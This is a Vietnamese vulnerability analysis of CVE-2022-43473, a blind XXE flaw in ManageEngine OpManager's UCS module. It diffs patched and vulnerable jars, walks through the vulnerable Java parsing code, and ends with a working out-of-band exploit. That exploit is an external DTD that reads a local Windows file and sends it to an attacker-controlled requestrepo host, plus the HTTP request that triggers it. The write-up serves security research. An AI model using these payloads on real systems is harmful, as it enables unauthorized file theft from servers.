###### tags: `CVE`, `ManageEngine`, `XXE`, `java`
# Phân tích CVE-2022-43473 ManageEngine OpManager
## 1. Tổng quan về lỗ hổng
https://www.manageengine.com/itom/advisory/cve-2022-43473.html

Lỗi hổng XXE xuất hiện ở UCS module, lỗi này tồn tại ở version < 126141, nên mình sẽ down 2 bản là 126141 và 126140 về để thực hiện diff
Link download: https://archives3.manageengine.com/opmanager/
Ta cần tải 2 version bị lỗi và đã vá để diff
Sau khi cài đặt xong, ta tiến hành lấy tất cả file jar ra để diff
> find . -type f -name "*.jar" | zip jars.zip -@
Sau đó sử dụng idea64.exe để diff các file jar
> idea64.exe diff "/path/directory1" "/path/directory2"
Ảnh khi diff

Có khá nhiều code đã được thay đổi, nhưng ta tập trung OpManagerServerClasses.jar, vì nó xử lí code chính của OpManager
Tìm đến UCS module, ta thấy có 2 class được thay đổi là UCSDeviceUtil.class và UCSLoginHandler.class

Ở hàm **getDetails()** của version bị lỗi thì nó xử dụng **XmlUtil.createDocument(this.ucsTemplateFile);** còn ở bản vá thì sử dụng
**XmlUtil.getSafeDocumentBuilder().parse(this.ucsTemplateFile);**


Nên khả năng cao là bug tồn tại ở hàm **createDocument()**
## 2. Setup debug
Để hiểu rõ hơn flow code thì mình thực hiện setup remote debug
Để enable debug trong OpManager, ta tìm đến đường dẫn sau **\OpManager\conf\wrapper.conf**
Sau đó uncomment chỗ debbuging là được

Tiếp đến load project vào Inteliji để debug, load thư mục classes vào.

Set up remote debug trong inteliji

Nhớ setup đúng port với port trong file wrapper.conf
Đặt break point mà thấy như này là setup debug thành công

## 3. Phân tích lỗ hổng
hàm **getDetail()**
```java=
public Document getDetails(String deviceName, String protocol, Integer port, String inputXml) throws Exception {
InputStream in = null;
HttpURLConnection conn = null;
Document var13;
try {
String collectMachineName = APIUtil.getInstance().getPollUsing(deviceName, true);
if (collectMachineName == null) {
collectMachineName = OpManagerDBUtil.getInstance().getDNSName(deviceName);
}
OpManagerLogger.printLog(3, "[UCSDeviceUtil]:: deviceName: " + deviceName + "protocol:" + protocol + "port:" + port);
if (protocol.equalsIgnoreCase("https")) {
this.setTrustManager();
}
String urlAddress = protocol.toLowerCase() + "://" + collectMachineName + ":" + port + "/nuova";
URL url = new URL(urlAddress);
conn = (HttpURLConnection)url.openConnection();
conn.setRequestMethod("POST");
conn.setDoOutput(true);
conn.setRequestProperty("content-type", "application/x-www-form-urlencoded");
conn.setReadTimeout(25000);
OutputStream out = conn.getOutputStream();
out.write(inputXml.getBytes());
conn.connect();
out.close();
int status = conn.getResponseCode();
if (!protocol.equalsIgnoreCase("https") && status != 200 && (status == 302 || status == 301 || status == 303)) {
OpManagerLogger.printLog(3, "HTTP TO HTTPS REDIRECTION !!!!!!!! ");
String newUrl = conn.getHeaderField("Location");
this.setTrustManager();
conn = (HttpURLConnection)(new URL(newUrl)).openConnection();
conn.setRequestMethod("POST");
conn.setDoOutput(true);
conn.setRequestProperty("content-type", "application/x-www-form-urlencoded");
out = conn.getOutputStream();
out.write(inputXml.getBytes());
out.close();
}
in = conn.getInputStream();
Document doc = XmlUtil.createDocument(in, false);
var13 = doc;
} finally {
if (in != null) {
in.close();
}
if (conn != null) {
conn.disconnect();
}
}
return var13;
}
```
Đoạn code trên ta thấy nếu như ta kiểm soát được các tham số truyền vào của hàm getDetail() thì server sẽ thực hiện một POST request đến server của ta. Xong nó sẽ thực hiện lấy ouput. Sau đó gọi đến hàm **XmlUtil.createDocument(in,false)**
hàm **createDocument()**

Ta thấy hàm này tồn tại bug XXE, vì mặc định **DocumentBuilderFactory** class nó cho phép parse các external entities,load external dtd ... dẫn đến bị khai thác bug xxe
Giờ ta đã biết lỗ hổng tồn tại, cũng như là sink của cve này. Giờ việc còn lại là tìm source.
Thì source của chain này nằm ở endpoint `http://host/apiclient/ember/index.jsp#/Settings/Discovery/AddUCS/AddCredential`
ở tính năng add UCS

Vậy là ta đã đủ dữ kiện của bug này, việc còn lại là exploit XXE
Trong cve này thì nó là blind xxe, vì vậy ta ko thể lấy được output thông qua response. Mà cần sử dụng kĩ thuật OOB.
Đầu tiên host 1 file để server load 1 external dtd.
```xml=
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data SYSTEM "http://8n66fro7.requestrepo.com/">
<data>&send;</data>
```
Nội dung của file dtd
```xml=
<!ENTITY % file SYSTEM "file:///c:/windows/a.txt">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://8n66fro7.requestrepo.com/?%file;'>">
%all;
```
Đọc nội dung file trên máy nạn nhân sau đó gửi đến server của attacker
Request trigger XXE
```
POST /client/api/json/discovery/addDevice HTTP/1.1
Host: desktop-9qrotni:8060
Content-Length: 96
Accept: */*
X-ZCSRF-TOKEN: opmcsrftoken=a7def700a90b14e380e6f7bfc428b0b28e893ee842f67f54752c16927ae52db562b0b8dea9c7cf2bfd9f28f376861b47f69e0401767b364b59632021226c8e97
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.78 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://desktop-9qrotni:8060
Referer: http://desktop-9qrotni:8060/apiclient/ember/index.jsp
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: f2RedirectUrl=http%3A%2F%2Fdesktop-9qrotni%3A8060%2Fapiclient%2Fember%2Findex.jsp%23%2FHome%2FDashboard%2FOverview%2Fdashboard.name.enterprisedashboard; signInAutomatically=true; CountryName=VIET+NAM; JSESSIONID=3C7BA74232D93E858F29AECE1B605F2E; NFA__SSO=A5CF55CFB9207E4BF23F313ED942CA8D; opmcsrfcookie=a7def700a90b14e380e6f7bfc428b0b28e893ee842f67f54752c16927ae52db562b0b8dea9c7cf2bfd9f28f376861b47f69e0401767b364b59632021226c8e97; _zcsr_tmp=a7def700a90b14e380e6f7bfc428b0b28e893ee842f67f54752c16927ae52db562b0b8dea9c7cf2bfd9f28f376861b47f69e0401767b364b59632021226c8e97
Connection: close
deviceName=02k8tyaq.requestrepo.com&netmask=255.255.255.0&credentialName=test5&addDeviceType=UCS
```
Ta thấy nội dung của file a.txt đã được gửi đến server của attacker

